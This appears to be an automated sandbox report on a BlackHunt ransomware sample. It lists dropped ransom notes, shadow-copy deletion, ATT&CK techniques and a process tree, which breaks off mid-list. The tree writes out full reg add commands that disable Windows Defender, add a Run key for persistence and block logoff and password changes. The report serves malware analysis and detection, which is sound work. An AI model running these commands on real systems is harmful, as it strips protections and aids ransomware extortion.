File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_ja_4.4.0.v20140623020002.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Shanghai	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-annotations-common.xml	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\PYCC.pf	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jawt.h	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Edmonton	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_btn-back-static.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBlue.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Brunei	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Rio_Branco	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\GMT	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Colombo	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.core_2.3.5.v201308161310.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Bishkek	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#BlackHunt_Private.key	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Saipan	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine_2.3.0.v20140506-1720.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\send-email-16.png	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.txt	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chihuahua	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2512	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1604	vssadmin.exe
2632	vssadmin.exe
1660	vssadmin.exe
624	vssadmin.exe
1196	vssadmin.exe
3652	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3632	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3444	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3460	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeRestorePrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeBackupPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeTakeOwnershipPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeAuditPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeSecurityPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeIncBasePriorityPrivilege	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Token: SeBackupPrivilege	2904	vssvc.exe
Token: SeRestorePrivilege	2904	vssvc.exe
Token: SeAuditPrivilege	2904	vssvc.exe
Token: SeBackupPrivilege	1728	wbengine.exe
Token: SeRestorePrivilege	1728	wbengine.exe
Token: SeSecurityPrivilege	1728	wbengine.exe
Token: SeSecurityPrivilege	3316	wevtutil.exe
Token: SeBackupPrivilege	3316	wevtutil.exe
Token: SeSecurityPrivilege	2584	wevtutil.exe
Token: SeSecurityPrivilege	3504	wevtutil.exe
Token: SeBackupPrivilege	2584	wevtutil.exe
Token: SeBackupPrivilege	3504	wevtutil.exe
Token: SeSecurityPrivilege	3220	wevtutil.exe
Token: SeBackupPrivilege	3220	wevtutil.exe
Token: SeSecurityPrivilege	3724	wevtutil.exe
Token: SeBackupPrivilege	3724	wevtutil.exe
Token: SeDebugPrivilege	3632	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 3040	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	130
PID 2156 wrote to memory of 3040	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	130
PID 2156 wrote to memory of 3040	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	130
PID 2156 wrote to memory of 3040	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	130
PID 2156 wrote to memory of 2272	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	133
PID 2156 wrote to memory of 2272	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	133
PID 2156 wrote to memory of 2272	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	133
PID 2156 wrote to memory of 2272	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	133
PID 2156 wrote to memory of 2584	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	33
PID 2156 wrote to memory of 2584	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	33
PID 2156 wrote to memory of 2584	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	33
PID 2156 wrote to memory of 2584	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	33
PID 2156 wrote to memory of 2680	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	152
PID 2156 wrote to memory of 2680	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	152
PID 2156 wrote to memory of 2680	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	152
PID 2156 wrote to memory of 2680	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	152
PID 2156 wrote to memory of 2704	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	37
PID 2156 wrote to memory of 2704	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	37
PID 2156 wrote to memory of 2704	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	37
PID 2156 wrote to memory of 2704	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	37
PID 3040 wrote to memory of 2668	3040	reg.exe	38
PID 3040 wrote to memory of 2668	3040	reg.exe	38
PID 3040 wrote to memory of 2668	3040	reg.exe	38
PID 2156 wrote to memory of 2612	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	40
PID 2156 wrote to memory of 2612	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	40
PID 2156 wrote to memory of 2612	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	40
PID 2156 wrote to memory of 2612	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	40
PID 2156 wrote to memory of 2748	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	41
PID 2156 wrote to memory of 2748	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	41
PID 2156 wrote to memory of 2748	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	41
PID 2156 wrote to memory of 2748	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	41
PID 2156 wrote to memory of 2752	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	44
PID 2156 wrote to memory of 2752	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	44
PID 2156 wrote to memory of 2752	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	44
PID 2156 wrote to memory of 2752	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	44
PID 2156 wrote to memory of 2692	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	46
PID 2156 wrote to memory of 2692	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	46
PID 2156 wrote to memory of 2692	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	46
PID 2156 wrote to memory of 2692	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	46
PID 2584 wrote to memory of 1668	2584	cmd.exe	48
PID 2584 wrote to memory of 1668	2584	cmd.exe	48
PID 2584 wrote to memory of 1668	2584	cmd.exe	48
PID 2272 wrote to memory of 2828	2272	conhost.exe	47
PID 2272 wrote to memory of 2828	2272	conhost.exe	47
PID 2272 wrote to memory of 2828	2272	conhost.exe	47
PID 2156 wrote to memory of 2744	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	50
PID 2156 wrote to memory of 2744	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	50
PID 2156 wrote to memory of 2744	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	50
PID 2156 wrote to memory of 2744	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	50
PID 2680 wrote to memory of 2524	2680	vdsldr.exe	52
PID 2680 wrote to memory of 2524	2680	vdsldr.exe	52
PID 2680 wrote to memory of 2524	2680	vdsldr.exe	52
PID 2156 wrote to memory of 1956	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	53
PID 2156 wrote to memory of 1956	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	53
PID 2156 wrote to memory of 1956	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	53
PID 2156 wrote to memory of 1956	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	53
PID 2156 wrote to memory of 2472	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	54
PID 2156 wrote to memory of 2472	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	54
PID 2156 wrote to memory of 2472	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	54
PID 2156 wrote to memory of 2472	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	54
PID 2156 wrote to memory of 2496	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	56
PID 2156 wrote to memory of 2496	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	56
PID 2156 wrote to memory of 2496	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	56
PID 2156 wrote to memory of 2496	2156	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe
"C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
